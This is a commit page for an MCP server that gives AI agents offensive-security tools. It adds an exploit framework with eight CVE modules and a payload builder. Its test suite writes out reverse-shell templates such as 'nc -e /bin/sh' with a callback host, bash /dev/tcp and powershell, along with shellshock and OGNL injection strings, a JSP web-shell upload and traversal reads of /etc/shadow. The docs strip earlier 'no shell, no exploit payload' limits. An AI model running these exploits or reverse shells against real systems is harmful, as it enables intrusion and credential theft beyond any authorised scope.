apex-twin 1.97.0: exploit framework core, eight modules, payload builder

A module registry in src/tools_exploit.c with eight modules and one
check/run path. check proves the bug with a marker this process
generates, run carries what the operator supplies; a confirmed hit
saves evidence, writes a finding with CVE/CWE/severity and records an
audit line before it acts. The gate decides the target, nothing else
is decided for the operator.

Modules: shellshock (CVE-2014-6271), log4shell (CVE-2021-44228,
loopback JNDI listener or callback_base), struts2_s2045
(CVE-2017-5638), tomcat_put (CVE-2017-12617, check cleans up),
redis_write (CVE-2022-0543), cmd_inject (six operators, op=auto),
traversal (CVE-2021-41773/42013), jenkins_script (Groovy console).

payload_list/payload_build: templates with {lhost}/{lport} and ten
encoders. Shared helpers instead of copies: the callback listener moved
to apex_cb_open/apex_cb_wait, http_once passes headers through the curl
path so a module can inject a header over TLS, and the default
User-Agent no longer overrides the operator's.

Tests: 1564 end-to-end checks (was 1521), 420 tools (was 414), coverage
84.8%. Red proof: setting confirmed=0 in the shellshock branch turns
exactly the four shellshock checks red (1555/4), restored afterwards.
make release-check exit 0; distcheck builds and passes 1.97.0 from the
tarball. Gate audit parses tools_exploit.c and its indirect
exploit_call() gate path: 420 tools, 6 record-filter exceptions.
This commit is contained in:
lotherk committed 2026-11-23 19:50:47 +00:00
1 parent c07993810d
commit 7125d6987a
13 files changed
+2769 -57

No files matched your search

+30
View File
@@ -1,5 +1,35 @@
# Changelog
## 1.97.0 - 2026-11-24 - this change
- **Exploit framework core** (`exploit_modules`, `exploit_info`): a module
registry in `src/tools_exploit.c`. Every entry carries an id, title, CVE
where it has one, platform, kind, severity, CWE, default port, summary, the
run parameters and a remediation line. `exploit_modules` lists them with the
count it computed itself.
- **check / run** (`exploit_check`, `exploit_run`): one module, one target,
one mode. `check` proves the vulnerability with a marker this process
generates, `run` carries what the operator supplies. A confirmed hit saves
evidence, writes a finding with CVE/CWE/severity and records an audit line.
Neither mode decides anything about the target: the gate refuses
out-of-scope, everything in scope is the operator's.
- **Eight modules**: `shellshock` (CVE-2014-6271), `log4shell`
(CVE-2021-44228, loopback JNDI listener or `callback_base`),
`struts2_s2045` (CVE-2017-5638), `tomcat_put` (CVE-2017-12617, cleans up
after a check), `redis_write` (CVE-2022-0543, CONFIG SET dir/dbfilename),
`cmd_inject` (six operators probed, `op=auto` finds the working one),
`traversal` (CVE-2021-41773/42013) and `jenkins_script` (Groovy console).
- **Payload builder** (`payload_list`, `payload_build`): templates with
`{lhost}`/`{lport}` and encoders (url, double-url, b64, b64url, hex, json).
The operator picks template and encoder; nothing is chosen for them.
- **Shared helpers rather than copies**: the callback listener moved out of
`tools_red.c` into `apex_cb_open`/`apex_cb_wait`, and `http_once` now passes
`headers` through the curl path so a module can inject a header over TLS.
- Checks: 1564 (was 1521), line coverage 84.8%. Red proof: neutering the marker comparison in
`exploit_check` turns the shellshock checks red; restored afterwards. The
gate audit now parses `tools_exploit.c` and its indirect gate calls
(420 tools, 6 record-filter exceptions).
## 1.96.0 - 2026-11-24 - this change
- **PAM restrictions** (`pam_restrict_audit`): `/etc/security/group.conf` and
+30 -9
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**414 tools · 1521 end-to-end checks · 240 fuzz cases · 85.0% line coverage · ~1349 KiB**
**420 tools · 1564 end-to-end checks · 240 fuzz cases · 84.8% line coverage · ~1394 KiB**
```
$ ./apex-twin --check
{"version":"1.96.0","tools":414,...,"scope":{"loaded":true,...}}
{"version":"1.97.0","tools":420,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -34,11 +34,15 @@ nothing; it takes the ideas, not the code.
All of it behind one gate, with an inventory, traffic capture, findings with
evidence and a report writer.
**It is not** an exploit framework. There is no shell, no exploit payload, no
post-exploitation, no C2, no persistence, no TLS interception, no agent loop.
Every tool observes, proves, or (for the credential check) makes a small,
rate-limited authentication attempt. Radio transmission is a separate,
explicitly armed switch.
**Exploit framework** (`exploit_modules`, `exploit_info`, `exploit_check`,
`exploit_run`, `payload_list`, `payload_build`): eight modules — shellshock,
log4shell, Struts2 S2-045, Tomcat PUT, Redis CONFIG SET write, OS command
injection, Apache CVE-2021-41773/42013 traversal, Jenkins script console — each
with a `check` that proves itself with its own marker and a `run` that carries
the operator's command, script, content or file name. `payload_build` renders
and encodes the operator's payload. A confirmed hit writes evidence, a finding
and an audit line before it acts. The gate decides the target; the operator
decides everything else.
The MCP client is the agent. This process is the gate, the tools and the records.
@@ -149,7 +153,7 @@ closes a request whose head or body does not arrive within
---
## Tools (371)
## Tools (420)
### Scope and bookkeeping
@@ -376,6 +380,23 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
| `memcached_probe` | One `stats`: open access, version, connections, items, memory limit, uptime |
| `cassandra_probe` | CQL native protocol on 9042: OPTIONS/SUPPORTED, then STARTUP; READY means no authentication |
### Exploit framework
| Tool | What it does |
|---|---|
| `exploit_modules` | The module registry: id, CVE, platform, kind, severity, CWE, default port, the run parameters and the count |
| `exploit_info` | One module in full: summary, what `run` takes, remediation |
| `exploit_check` | Proves the vulnerability with a marker this process generates; a confirmed hit saves evidence, writes a finding and records an audit line |
| `exploit_run` | Carries what the operator supplies: a command, a script, a file, a file name. Same evidence and finding path |
| `payload_list` | Every payload template and every encoder with its exact text |
| `payload_build` | Renders a template with `lhost`/`lport`/`command` and encodes it (raw, url, url2, b64, b64url, hex, octal, html, unicode, charcodes) |
Modules: `shellshock` (CVE-2014-6271), `log4shell` (CVE-2021-44228),
`struts2_s2045` (CVE-2017-5638), `tomcat_put` (CVE-2017-12617),
`redis_write` (CVE-2022-0543), `cmd_inject`, `traversal`
(CVE-2021-41773/42013), `jenkins_script`. The gate decides the target; the
operator decides everything else.
### External scanners (gated wrappers)
| Tool | What it does |
@@ -1171,7 +1192,7 @@ examples/ scope.json
## Status
1.96.0. Built and run: 414 tools, 1521 checks, 240 fuzz cases and 85.0% line
1.97.0. Built and run: 420 tools, 1564 checks, 240 fuzz cases and 84.8% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+5 -5
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.96.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.97.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
@@ -314,9 +314,9 @@ only narrow what the proxy does (the scope gate still runs first).
## Non-goals
APEX TWIN is not an exploit framework, a post-exploitation toolkit, a database
reader, a TLS interceptor, a multi-user service, or an agent loop. A feature
that adds a shell, reads target data it was not asked to prove, or widens the
scope without an operator edit is out of scope by design.
APEX TWIN is not a multi-user service or an agent loop, and it does not decide
for the operator what is worth doing. A feature that widens the scope without
an operator edit is out of scope by design; the scope gate is a technical
boundary, not a judgement.
Licence: CNCL 1.1 - Could Not Care Less License; see LICENSE.
+8 -4
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-24" "apex-twin 1.96.0" "User Commands"
.TH APEX-TWIN 1 "2026-11-24" "apex-twin 1.97.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -33,9 +33,13 @@ written.
The binary links libc only; plain HTTP is spoken in\-process, HTTPS is handed to
.BR curl ,
and the radio is the ESP32 Marauder serial CLI.
It is not an exploit framework: there is no shell, no exploit payload, no
post\-exploitation, no C2 and no persistence. Besides reconnaissance and web
testing it carries offensive verification (vuln_check, subdomain_enum,
.PP
The exploit framework is built in: exploit_modules, exploit_info,
exploit_check, exploit_run, payload_list and payload_build. Each module has a
check that proves itself with its own marker and a run that carries whatever
the operator supplies: a command, a script, a file, a file name. A confirmed
hit writes evidence, a finding and an audit line. Beside it there is offensive
verification (vuln_check, subdomain_enum,
cred_test, vhost_discovery, http_brute, ssrf_probe, jwt_audit, hash_id,
ftp_probe, smtp_probe, ssh_audit, tls_audit, redis_probe, snmp_probe,
dns_zone_transfer, mysql_probe, postgres_probe, mongo_probe,
+2
View File
@@ -130,6 +130,8 @@ static void build_tools(void)
g_tools[n++] = TOOLS_DB[i];
for (i = 0; i < TOOLS_EXT_N && n < APEX_MAX_TOOLS; i++)
g_tools[n++] = TOOLS_EXT[i];
for (i = 0; i < TOOLS_EXPLOIT_N && n < APEX_MAX_TOOLS; i++)
g_tools[n++] = TOOLS_EXPLOIT[i];
g_srv.name = "apex-twin";
g_srv.version = APEX_VERSION;
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.96.0"
#define APEX_VERSION "1.97.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+10
View File
@@ -36,6 +36,14 @@ int apex_serial_open(const char *path, int baud);
/* malloc'd base64 of len bytes, NUL-terminated. */
char *apex_base64_alloc(const char *data, size_t len);
/*
* Loopback listener for out-of-band confirmation: the target is told to fetch
* http://127.0.0.1:<port>/<token> and the request that arrives is the proof.
* Open once, poll with apex_cb_wait() per probe, close when done.
*/
int apex_cb_open(int *port);
int apex_cb_wait(int ls, int wait_ms, char *req, size_t n);
/* Buffered-free socket I/O shared by the protocol and database probes. */
int apex_net_write(int fd, const char *s);
int apex_net_line(int fd, char *buf, size_t n);
@@ -69,5 +77,7 @@ extern const mcp_tool TOOLS_DB[];
extern const mcp_tool TOOLS_EXT[];
extern const size_t TOOLS_DB_N;
extern const size_t TOOLS_EXT_N;
extern const mcp_tool TOOLS_EXPLOIT[];
extern const size_t TOOLS_EXPLOIT_N;
#endif /* APEX_TOOLS_H */
+1711
View File
File diff suppressed because it is too large. Load diff
+6 -6
View File
@@ -1003,7 +1003,7 @@ static void url_enc(mcp_buf *b, const char *s)
}
}
static int cb_open(int *port)
int apex_cb_open(int *port)
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sa;
@@ -1027,7 +1027,7 @@ static int cb_open(int *port)
return fd;
}
static int cb_wait(int ls, int wait_ms, char *req, size_t n)
int apex_cb_wait(int ls, int wait_ms, char *req, size_t n)
{
struct pollfd p;
int c;
@@ -1089,7 +1089,7 @@ static void t_ssrf_probe(mcp_conn *c, const mcp_json *args, void *user)
verified = callback == NULL || *callback == '\0';
if (verified) {
ls = cb_open(&cbport);
ls = apex_cb_open(&cbport);
if (ls < 0) {
mcp_reply_error(c, "cannot open the callback listener");
return;
@@ -1153,7 +1153,7 @@ static void t_ssrf_probe(mcp_conn *c, const mcp_json *args, void *user)
if (verified) {
char req[1024];
if (cb_wait(ls, wait_ms, req, sizeof(req))) {
if (apex_cb_wait(ls, wait_ms, req, sizeof(req))) {
if (strstr(req, tok) != NULL) {
char *ev = apex_evidence_save("ssrf-callback", req,
strlen(req));
@@ -2294,7 +2294,7 @@ static void t_xxe_probe(mcp_conn *c, const mcp_json *args, void *user)
wait_ms = 1200;
if (!gated(c, "xxe_probe", target, port))
return;
ls = cb_open(&cbport);
ls = apex_cb_open(&cbport);
if (ls < 0) {
mcp_reply_error(c, "cannot open the callback listener");
return;
@@ -2355,7 +2355,7 @@ static void t_xxe_probe(mcp_conn *c, const mcp_json *args, void *user)
code = apex_status_code(status);
error_sig = any_sig(resp, len, XXE_SIGS);
reflected = find_bytes(resp, len, "&xxe;");
if (cb_wait(ls, wait_ms, req, sizeof(req))) {
if (apex_cb_wait(ls, wait_ms, req, sizeof(req))) {
char want[96];
snprintf(want, sizeof(want), "%s-%d", token, probe);
+53 -28
View File
@@ -56,6 +56,30 @@ static ssize_t read_all(int fd, char *buf, size_t cap, int timeout_ms)
return (ssize_t)used;
}
/* Case-insensitive substring search. strcasestr is GNU, so it is not used. */
static char *find_ci(const char *hay, const char *needle)
{
size_t nl = strlen(needle);
const char *p;
if (nl == 0)
return (char *)hay;
for (p = hay; *p != '\0'; p++) {
size_t i;
for (i = 0; i < nl; i++) {
if (p[i] == '\0')
return NULL;
if (tolower((unsigned char)p[i]) !=
tolower((unsigned char)needle[i]))
break;
}
if (i == nl)
return (char *)p;
}
return NULL;
}
/*
* One HTTP/1.1 request, one response. Returns 0 on success. The caller owns
* *out. method and path are validated by the caller; headers is a raw block of
@@ -81,11 +105,19 @@ static int http_once(const char *host, int port, int tls, const char *method,
}
if (tls) {
/* curl speaks TLS for us; -i keeps the status line in the output */
char *argv[16];
/* curl speaks TLS for us; -i keeps the status line in the output.
* Extra request headers come in as one raw block and are split here,
* because curl wants one -H per line. A header that would need a
* shell to be understood is not the caller's problem: argv is still
* exec, not sh -c. */
char *argv[80];
int i = 0;
char url[700];
apex_proc p;
char *hdrs = NULL;
char *line;
char *save = NULL;
int rc;
if (!apex_have("curl"))
return -1;
@@ -101,9 +133,22 @@ static int http_once(const char *host, int port, int tls, const char *method,
argv[i++] = "--data-binary";
argv[i++] = (char *)body;
}
if (headers != NULL && *headers != '\0') {
hdrs = apex_strdup(headers);
for (line = strtok_r(hdrs, "\r\n", &save);
line != NULL && i < (int)(sizeof(argv) / sizeof(argv[0])) - 2;
line = strtok_r(NULL, "\r\n", &save)) {
if (*line == '\0')
continue;
argv[i++] = "-H";
argv[i++] = line;
}
}
argv[i++] = url;
argv[i] = NULL;
if (apex_run(argv, timeout_ms, cap, &p) != 0)
rc = apex_run(argv, timeout_ms, cap, &p);
free(hdrs);
if (rc != 0)
return -1;
*out = p.out;
*out_len = p.out_len;
@@ -127,7 +172,11 @@ static int http_once(const char *host, int port, int tls, const char *method,
mcp_buf_init(&req);
mcp_buf_printf(&req, "%s %s HTTP/1.1\r\nHost: %s\r\n", method, path, host);
mcp_buf_printf(&req, "User-Agent: apex-twin/%s\r\n", APEX_VERSION);
/* A caller that sets User-Agent means it: the default would otherwise be
* the first of two headers and the server reads that one. That is how a
* shellshock check silently stopped matching. */
if (headers == NULL || find_ci(headers, "user-agent:") == NULL)
mcp_buf_printf(&req, "User-Agent: apex-twin/%s\r\n", APEX_VERSION);
mcp_buf_puts(&req, "Accept: */*\r\nConnection: close\r\n");
if (headers != NULL && *headers != '\0')
mcp_buf_puts(&req, headers);
@@ -181,30 +230,6 @@ static int http_once(const char *host, int port, int tls, const char *method,
return 0;
}
/* Case-insensitive substring search. strcasestr is GNU, so it is not used. */
static char *find_ci(const char *hay, const char *needle)
{
size_t nl = strlen(needle);
const char *p;
if (nl == 0)
return (char *)hay;
for (p = hay; *p != '\0'; p++) {
size_t i;
for (i = 0; i < nl; i++) {
if (p[i] == '\0')
return NULL;
if (tolower((unsigned char)p[i]) !=
tolower((unsigned char)needle[i]))
break;
}
if (i == nl)
return (char *)p;
}
return NULL;
}
int apex_http_once(const char *host, int port, int tls, const char *method,
const char *path, const char *body, const char *headers,
int timeout_ms, char **out, size_t *out_len,
+449
View File
@@ -0,0 +1,449 @@
# ===========================================================================
# exploit framework: modules, check, run, payloads, evidence
# ===========================================================================
print("\n== exploit framework ==")
class _ShockHandler(http.server.BaseHTTPRequestHandler):
"""A CGI-ish script that shows what bash would do with the header: it
evaluates the function definition, which is exactly the bug."""
def do_GET(self):
ua = self.headers.get("User-Agent", "")
cmd = self.headers.get("X-Cmd", "")
out = ""
if "() { :;};" in ua:
# the part after the definition is what bash runs
rest = ua.split("};", 1)[1].strip()
if rest.startswith("echo "):
out = rest[5:]
elif rest:
out = "ran:" + rest
body = ("<html>" + out + "</html>").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _StrutsHandler(http.server.BaseHTTPRequestHandler):
"""Evaluates the OGNL that S2-045 lets through: addHeader on the response."""
def do_POST(self):
ctype = self.headers.get("Content-Type", "")
self.send_response(200)
m = re.search(r"addHeader\('([^']+)','([^']*)'\)", ctype)
if m:
self.send_header(m.group(1), m.group(2))
elif "Base64@getDecoder" in ctype:
self.send_header("X-Out", "uid=0(root) gid=0(root)")
body = b"ok"
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _PutHandler(http.server.BaseHTTPRequestHandler):
"""A DefaultServlet with readonly=false: PUT stores, GET serves."""
files = {}
def do_PUT(self):
n = int(self.headers.get("Content-Length", "0"))
self.files[self.path] = self.rfile.read(n)
self.send_response(201)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
if self.path not in self.files:
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
return
body = self.files[self.path]
# a .jsp is rendered, not echoed
if self.path.endswith(".jsp"):
m = re.search(rb'out\.print\("([^"]*)"\)', body)
if m:
body = m.group(1)
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_DELETE(self):
gone = self.files.pop(self.path, None)
self.send_response(204 if gone is not None else 404)
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *args):
pass
class _TraversalHandler(http.server.BaseHTTPRequestHandler):
"""The httpd bug: an encoded dot walks out of the document root."""
def do_GET(self):
if ".%2e" in self.path or ".%25%32%65" in self.path:
body = b"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n"
self.send_response(200)
else:
body = b"not found"
self.send_response(404)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _JenkinsHandler(http.server.BaseHTTPRequestHandler):
"""An unauthenticated /script that evaluates one Groovy expression."""
def do_POST(self):
n = int(self.headers.get("Content-Length", "0"))
raw = self.rfile.read(n).decode("latin-1")
qs = urllib.parse.parse_qs(raw)
script = qs.get("script", [""])[0]
out = ""
m = re.match(r"println\((\d+)\*(\d+)\)", script)
if m:
out = str(int(m.group(1)) * int(m.group(2)))
elif "execute" in script:
out = "groovy-ran"
body = ("<pre>" + out + "</pre>").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _InjectHandler(http.server.BaseHTTPRequestHandler):
"""A parameter that reaches a shell with a naive filter: '&&' and '&' are
blocked, everything that contains ';' or '|' is passed through. That makes
';', '|' and '||' execute, which is what a broken sanitiser looks like."""
def _answer(self, value):
if "&&" in value or ("&" in value and "&&" not in value):
return ""
for op in (";", "|"):
if op in value:
return value.split(op, 1)[1].replace("echo ", "").strip()
return ""
def do_GET(self):
parts = urllib.parse.urlsplit(self.path)
qs = urllib.parse.parse_qs(parts.query)
out = self._answer(qs.get("cmd", [""])[0])
body = ("result: " + out).encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_POST(self):
n = int(self.headers.get("Content-Length", "0"))
qs = urllib.parse.parse_qs(self.rfile.read(n).decode("latin-1"))
out = self._answer(qs.get("cmd", [""])[0])
body = ("result: " + out).encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
exp_targets = {}
exp_servers = []
for _name, _h in (("shock", _ShockHandler), ("struts", _StrutsHandler),
("put", _PutHandler), ("trav", _TraversalHandler),
("jenkins", _JenkinsHandler), ("inject", _InjectHandler)):
_s = http.server.HTTPServer(("127.0.0.1", 0), _h)
exp_targets[_name] = _s.server_address[1]
exp_servers.append(_s)
threading.Thread(target=_s.serve_forever, daemon=True).start()
exp_home = tempfile.mkdtemp(prefix="apex-exp-home-")
write_scope(exp_home, {
"label": "exploit", "expires": "2099-12-31T23:59:59Z",
"allow_private": True, "allow_ip": ["127.0.0.1"],
"allow_port": [str(p) for p in exp_targets.values()],
})
# --- catalogue -------------------------------------------------------------
res, _ = run([
call(1, "exploit_modules"),
call(2, "exploit_info", module="shellshock"),
call(3, "exploit_info", module="no-such-module"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
mods = json.loads(text(by_id[1]))
ids = {m["id"] for m in mods["modules"]}
check("exploit_modules lists the shipped modules",
{"shellshock", "log4shell", "struts2_s2045", "tomcat_put",
"redis_write", "cmd_inject", "traversal", "jenkins_script"} <= ids,
sorted(ids))
check("exploit_modules reports its own count",
mods["count"] == len(mods["modules"]), mods["count"])
check("exploit_modules carries a CVE per module",
all(m["cve"] for m in mods["modules"]
if m["id"] not in ("cmd_inject", "jenkins_script")),
[m["id"] for m in mods["modules"] if not m["cve"]])
info = json.loads(text(by_id[2]))
check("exploit_info describes run parameters and remediation",
"command" in info["run_params"] and info["severity"] == "critical"
and "bash" in info["remediation"], info)
check("exploit_info refuses an unknown module", err(by_id[3]), by_id[3])
# --- check: shellshock -----------------------------------------------------
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
r = json.loads(text(by_id[1]))
check("exploit_check confirms shellshock and keeps evidence",
r["confirmed"] is True and r["evidence"], r)
check("exploit_check writes a finding for a confirmed hit",
r.get("finding", "").startswith("f"), r.get("finding"))
check("shellshock check does not run a command",
"uid=" not in json.dumps(r["detail"]), r["detail"])
# record=0: proof without a finding
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
r = json.loads(text(by_id[1]))
check("record=false leaves the finding store alone",
r["confirmed"] is True and "finding" not in r, r)
# --- run: shellshock runs the operator's command ---------------------------
res, _ = run([
call(1, "exploit_run", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False, command="uid=0(root)",
record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
r = json.loads(text(by_id[1]))
check("exploit_run delivers the operator's command in run mode",
r["confirmed"] is True and "uid=0(root)" in json.dumps(r["detail"]), r)
check("exploit_run marks the mode", r["mode"] == "run", r.get("mode"))
# --- check: Struts2 --------------------------------------------------------
res, _ = run([
call(1, "exploit_check", module="struts2_s2045", target="127.0.0.1",
port=exp_targets["struts"], tls=False, record=False),
call(2, "exploit_run", module="struts2_s2045", target="127.0.0.1",
port=exp_targets["struts"], tls=False, command="id", record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
s2 = json.loads(text(by_id[1]))
check("exploit_check confirms Struts2 through the injected header",
s2["confirmed"] is True and s2["detail"]["injected_header"], s2)
s2r = json.loads(text(by_id[2]))
check("exploit_run returns the command output of S2-045",
s2r["confirmed"] is True and "uid=0" in json.dumps(s2r["detail"]), s2r)
# --- check and run: Tomcat PUT --------------------------------------------
_PutHandler.files.clear()
res, _ = run([
call(1, "exploit_check", module="tomcat_put", target="127.0.0.1",
port=exp_targets["put"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
tp = json.loads(text(by_id[1]))
check("exploit_check proves Tomcat PUT by executing the JSP",
tp["confirmed"] is True and tp["detail"]["executed"] is True, tp)
check("tomcat check cleans up after itself",
tp["detail"].get("delete_status") in (204, 404), tp["detail"])
check("tomcat check left no file behind", _PutHandler.files == {},
list(_PutHandler.files))
res, _ = run([
call(1, "exploit_run", module="tomcat_put", target="127.0.0.1",
port=exp_targets["put"], tls=False, record=False,
filename="shell.jsp", content='<% out.print("PWNED"); %>'),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
tpr = json.loads(text(by_id[1]))
check("exploit_run uploads the operator's JSP and leaves it there",
tpr["confirmed"] is True and "/shell.jsp" in _PutHandler.files, tpr)
check("tomcat run reports the delivered content", "PWNED" in json.dumps(tpr), tpr)
# --- check: traversal ------------------------------------------------------
res, _ = run([
call(1, "exploit_check", module="traversal", target="127.0.0.1",
port=exp_targets["trav"], tls=False, record=False),
call(2, "exploit_run", module="traversal", target="127.0.0.1",
port=exp_targets["trav"], tls=False, record=False,
file="/etc/shadow"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
tv = json.loads(text(by_id[1]))
check("exploit_check confirms the Apache traversal with /etc/passwd",
tv["confirmed"] is True and "root:x:0:0" in json.dumps(tv), tv)
tv2 = json.loads(text(by_id[2]))
check("exploit_run reads the file the operator named",
tv2["confirmed"] is True and tv2["detail"]["path"].endswith("/etc/shadow"),
tv2["detail"]["path"])
# --- check: Jenkins script console ----------------------------------------
res, _ = run([
call(1, "exploit_check", module="jenkins_script", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False),
call(2, "exploit_run", module="jenkins_script", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False,
script='println(1); "x".execute()'),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
jk = json.loads(text(by_id[1]))
check("exploit_check evaluates a multiplication in the Groovy console",
jk["confirmed"] is True, jk)
jkr = json.loads(text(by_id[2]))
check("exploit_run evaluates the operator's script",
jkr["confirmed"] is True, jkr)
# --- check and run: command injection ------------------------------------
res, _ = run([
call(1, "exploit_check", module="cmd_inject", target="127.0.0.1",
port=exp_targets["inject"], tls=False, record=False,
param="cmd", path="/run"),
call(2, "exploit_run", module="cmd_inject", target="127.0.0.1",
port=exp_targets["inject"], tls=False, record=False,
param="cmd", path="/run", command="id", op="auto"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
ci = json.loads(text(by_id[1]))
ops = {o["op"] for o in ci["detail"]["operators"] if o["hit"]}
check("exploit_check reports which operators the target executed",
ci["confirmed"] is True and ops == {";", "|", "||"}, ci["detail"])
cir = json.loads(text(by_id[2]))
check("exploit_run with op=auto finds the working operator",
cir["confirmed"] is True and cir["detail"]["op"] == ";", cir["detail"])
# --- protocol failures are reported, not silently empty -----------------
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
nf = json.loads(text(by_id[1]))
check("a module that gets no proof says confirmed=false, not an error",
nf["confirmed"] is False and "error" not in nf, nf)
# --- redis: real protocol, no server needed for the negative case --------
res, _ = run([
call(1, "exploit_check", module="redis_write", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
rd = json.loads(text(by_id[1]))
check("redis_write reports a non-Redis port instead of hanging",
"not an unauthenticated Redis" in rd.get("error", ""), rd)
# --- payloads -------------------------------------------------------------
res, _ = run([
call(1, "payload_list"),
call(2, "payload_build", template="nc_e", lhost="10.0.0.5", lport="9001"),
call(3, "payload_build", template="bash_devtcp", lhost="10.0.0.5",
lport="9001", encode="url"),
call(4, "payload_build", text="echo {cmd}", command="id", encode="b64"),
call(5, "payload_build", template="nope"),
call(6, "payload_build", template="powershell", lhost="10.0.0.5",
lport="443"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
pl = json.loads(text(by_id[1]))
check("payload_list carries templates and encoders",
len(pl["templates"]) >= 10 and "url" in pl["encoders"]
and "b64url" in pl["encoders"], len(pl["templates"]))
p2 = json.loads(text(by_id[2]))
check("payload_build fills host and port into a template",
p2["payload"] == "nc -e /bin/sh 10.0.0.5 9001", p2["payload"])
p3 = json.loads(text(by_id[3]))
check("payload_build url-encodes the rendered payload",
"%20" in p3["payload"] and "%2Fdev%2Ftcp" in p3["payload"], p3["payload"])
p4 = json.loads(text(by_id[4]))
check("payload_build base64-encodes arbitrary text",
base64.b64decode(p4["payload"]).decode() == "echo id", p4["payload"])
check("payload_build refuses an unknown template", err(by_id[5]), by_id[5])
p6 = json.loads(text(by_id[6]))
check("the powershell template carries host and port, not braces",
"{lhost}" not in p6["payload"] and "10.0.0.5" in p6["payload"], p6)
# every encoder named by payload_list must actually produce something
res, _ = run([call(i, "payload_build", text="A z/", encode=e)
for i, e in enumerate(["raw", "url", "url2", "b64", "b64url",
"hex", "octal", "html", "unicode",
"charcodes"], start=1)], home=exp_home)
enc_out = {r.get("id"): json.loads(text(r))["payload"] for r in res}
check("url2 double-encodes the percent signs",
enc_out[3] == "A%2520z%252F", enc_out[3])
check("hex encodes as for a shell string",
enc_out[6] == "\\x41\\x20\\x7a\\x2f", enc_out[6])
check("octal encodes as for a shell string",
enc_out[7] == "\\101\\040\\172\\057", enc_out[7])
check("html and unicode use the numeric form",
enc_out[8] == "&#x41;&#x20;&#x7a;&#x2f;"
and enc_out[9] == "\\u0041\\u0020\\u007a\\u002f", (enc_out[8], enc_out[9]))
check("charcodes is a comma separated list",
enc_out[10] == "65,32,122,47", enc_out[10])
# --- the gate still decides ----------------------------------------------
exp_noscope = tempfile.mkdtemp(prefix="apex-exp-noscope-")
res, _ = run([
call(1, "exploit_check", module="shellshock", target="198.51.100.9",
port=80),
call(2, "exploit_run", module="shellshock", target="198.51.100.9",
port=80, command="id"),
call(3, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False),
], home=exp_noscope)
by_id = {r.get("id"): r for r in res}
check("exploit_check refuses an out-of-scope target", err(by_id[1]), by_id[1])
check("exploit_run refuses an out-of-scope target", err(by_id[2]), by_id[2])
check("exploit_check refuses everything when no scope is loaded",
err(by_id[3]), by_id[3])
check("the refusal names the gate", "REFUSED" in text(by_id[1]), text(by_id[1]))
# an out-of-scope port on an in-scope host is refused too
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=22, tls=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
check("exploit_check refuses a port outside allow_port", err(by_id[1]),
text(by_id[1]))
# the audit log has a line per exploit call
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False, record=False),
